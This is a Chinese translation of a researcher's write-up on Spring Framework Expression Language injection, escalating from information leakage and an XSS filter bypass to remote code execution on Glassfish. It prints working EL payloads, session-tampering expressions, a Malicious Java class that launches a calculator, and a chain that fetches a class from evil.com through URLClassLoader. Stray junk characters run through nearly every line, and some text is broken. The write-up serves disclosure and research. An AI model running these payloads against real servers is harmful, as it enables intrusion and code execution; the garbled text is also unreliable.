Remote Code with; l" Y1 `3 N- S" O. j" {
Expression Language Injection& h, R. v) n/ J/ ^$ L
Spring Framework脆弱性—DanAmodio1 L t# j$ E: D x( H
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中" {3 E. X! P& ^* k
可能会存在风险。2 b! y: u% }( Z" E8 J
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的% d; a0 X( t4 e$ ^- d! o; a1 b
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可1 Y8 t1 D1 _5 I9 `3 l2 X/ L
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
3 G5 d1 K0 q" D. F8 A# O以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前% x5 A& J, Y& {: ~9 h$ V- i/ i
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
# z" }* a9 Z0 m7 @! b8 R6 P由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但; E, m, D- G$ m. D+ j9 K* K% {
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
* `$ u- w( v# S2 {0 ^本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
# U' [* g$ ~+ F8 B3 K0 q; a这些版本不支持禁用double EL resolution.
: F0 J& p% N$ g( k5 z9 |这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 p% v' w4 t! [- h0 SEL2.2容器上可能进行远程代码执行。! [4 {' k" W" N
这是一个原始信息泄露的攻击例子:
/ B! c7 p! k \$ y9 Y请求:
' I4 D8 K9 ?. b6 {6 u! p+ V, [ttp://vulnerable.com/foo?message=${applicationScope}
& a0 P1 I! B2 a( R8 }, i, \# f- ?% @8 @到达以下内容页面:
( @1 ?+ F& N3 G( b5 C结果将输出一些包含内部服务器信息calsspath 和本地工作目录
_( }6 T* r' h$ s; A你也可以做一些其他事情,如这样:/ N5 C' q5 J, U/ G t/ Y
${9999+1}
" G0 K5 M% G% T& C+ D0 A还可以访问session 对象和beans- o7 K. h% T$ N% n$ o6 U
${employee.lastName}. t9 V5 \0 E+ }1 l. a6 N L
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是" c6 \9 ~% N9 D5 [6 W* j+ p& R9 U
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东0 i# [: A& w* g
西,比如XSS.* k8 l" I& _6 N( m! m0 P
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签" z8 R1 R" o9 Q+ h) j( i' l- R2 ^
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
0 k/ m2 D& R9 f) x呢?”0 l: y% W) |& o$ X# A \0 a% V7 a
因此,我尝试巳缦拢�+ v3 Y' C$ G" e8 {- C+ k; a
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP2 g8 Q6 i; I( P; n
P
# g2 c9 C( t, V2 N+ w我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
2 x) H# x0 p C回的文本被插入进了spring:message 标签。
/ E7 s3 S1 l9 A# \- y这里是一个最终绕过过滤的实例:
8 P! N- t% L' xhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
: u9 W5 H5 p9 P# [# j它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
1 t% ]2 P+ _; g% V1 L什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?& D0 W" T$ h" x. W, l4 ]! S
经过一番研究,我学习到EL2.2 增加了方法调用。
8 {. O/ ]) j0 h* f- x2 A$ K我写了一个快速测试应用程序代码并且检测一些功能
; n3 F& j% x$ W( j9 w${pageContext.request.getSession().setAttribute(“account”,”123456″)}
8 r+ a) c3 R c4 [! C3 Z7 m9 d${pageContext.request.getSession().setAttribute(“admin”,true)}3 A. ?2 a& |) f' B
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的) _+ H# l5 g1 B e7 B
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
& Z2 f$ o" y; E${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
$ ]9 Z& @" ^) p7 x“, 1234)}
l" ?" D& I- H4 L- L4 S% }$ s${“”.getClass().forName(“java.lang.Runtime”)}
) Y( x1 _. J/ Z6 b9 a. b哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不6 g/ P) H5 G+ m
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
! ~9 n' L9 V6 W) S; q) L1 n数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
8 c% [2 M6 N' c/ B1 ]一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于7 z/ m+ i, Y: V
方法签名invoke(Object obj, Object„ args)
s+ c2 F# z4 o$ w7 W$ j( sJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
( N& M( j# ~7 C/ P0 ` b题,以让它可以工作起来。/ b! _ A/ B, r3 M: ]
漏洞利用:* r# `: ^' G& I. s% f! U5 B3 X
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我 b$ a1 \% x% }4 p' L
希望你们中的一些JAVA奇才告诉我我是如此的可笑。0 i: ~9 `1 `- R l4 M; j
这里有一些我试过的失败的用例,为了试图让它工作的用例:8 N1 y+ x% u4 ]9 l
写文件到文件系统: @/ ^4 `' p9 I* o6 [* c5 N1 _
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
4 z* P$ C2 |' Q我认为这些可以很好的工作,但是我不能找到合适的类来载入。- A3 m4 b7 A C
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
# o7 h2 K! ~9 o V- k4 ejavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:" [& w2 \" b' e% {
org.springframework.expression.spel.standard.SpelExpressionParser not found1 U6 V' o3 d' w8 P3 H
by( N E$ h4 [1 f5 Y3 }
org.glassfish.web.javax.servlet.jsp [194].
9 e' u; u; J4 I: Z5 {' D 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
+ B+ g% f% l- j5 P& g& P 利用反射来创建一个新的Runtime(and watch the world burn)1 Y6 N9 {+ B9 t! |) _9 z) n
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName2 G+ T2 e8 e; t$ N
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}7 ^" t- W$ h' O, a9 X
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}; n7 p# { R* Y7 e1 z! g
使用java.lang.ProcessBuilder% n. B Y6 y/ B* n
用表达式语言来评估表达式语言. s* {2 O, K4 D: ]" G1 `; R, B
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.4 }% A" f1 G" a, Z
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
; y$ G) U8 s1 W) J2 u: Y2 G7 T“,”".getClass(),null)}
. P4 Z) M" u- W# W9 } 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
/ i0 h- u' S3 {3 f# q' }我在使用一个空数组通过Method.invoke()时失败了很多次8 S1 d1 q [$ }5 l( W
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
3 P/ ]. O* G) n, w$ T.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A+ C) }5 V6 h7 ~+ h" B
rrayList”).newInstance().toArray())
2 @9 _2 d2 d( c0 kjava.lang.IllegalArgumentException: wrong number of arguments
, s- T. o6 u6 L* g; m) f* C5 f: g+ T最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
' d( `( L, s+ H- g3 w以创建一个恶意class文件并且指向类装载器.
- M. ~7 X7 j# H( |" ~( n我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
& ~# S) h6 K, |public class Malicious {# ]" W5 J8 @% X. ^
public Malicious() {' T& e" P# d' p! E: G
try {8 }( O; `* J, U9 t
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac' `8 `) |1 ]- l2 b
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
2 T/ y$ W9 i: [; ~3 k} catch (Exception e) {% F. }1 `0 ~/ Y1 B* W! d
}. C2 K3 ?1 y1 S/ m% e9 w9 u
}" r% Y' v+ _. l; g
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回0 Z- d2 V# p3 C/ e
话中,因此它可以被使用.
* i4 X, z% @7 X8 T, T& R. B5 x${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
: Z4 K. b$ d6 ]! |5 i(“java.util.ArrayList”).newInstance())}
! Y' @4 S* D/ B1 E/ z) \, _6 i9 qURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
3 R% e1 u5 r" ^一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和# `' n: P( i" N" M. S7 t, O
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
, f& }2 K) o8 Y W% M我们可以调用的create(string)方法,然后转换对一个URL对象。
, @: u2 Q$ [" c: T- u. N${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
5 f5 K! c# N4 d y8 n4 K$ D8 H' z% xere/malicious/classfile/is/located/”).toURL())}5 t: K- I/ ?: o9 v7 D% p, D5 ?
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,9 {6 I# W) }+ D! G3 B+ c
恶意类文件被装载并创建,触发远程代码.+ R$ R. I/ |. W+ t2 c% a: x
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
$ q! b! c1 c: f+ \6 Mxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
) K% N# h% X, ogetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
. {) g$ e# K7 y1 S2 V()} |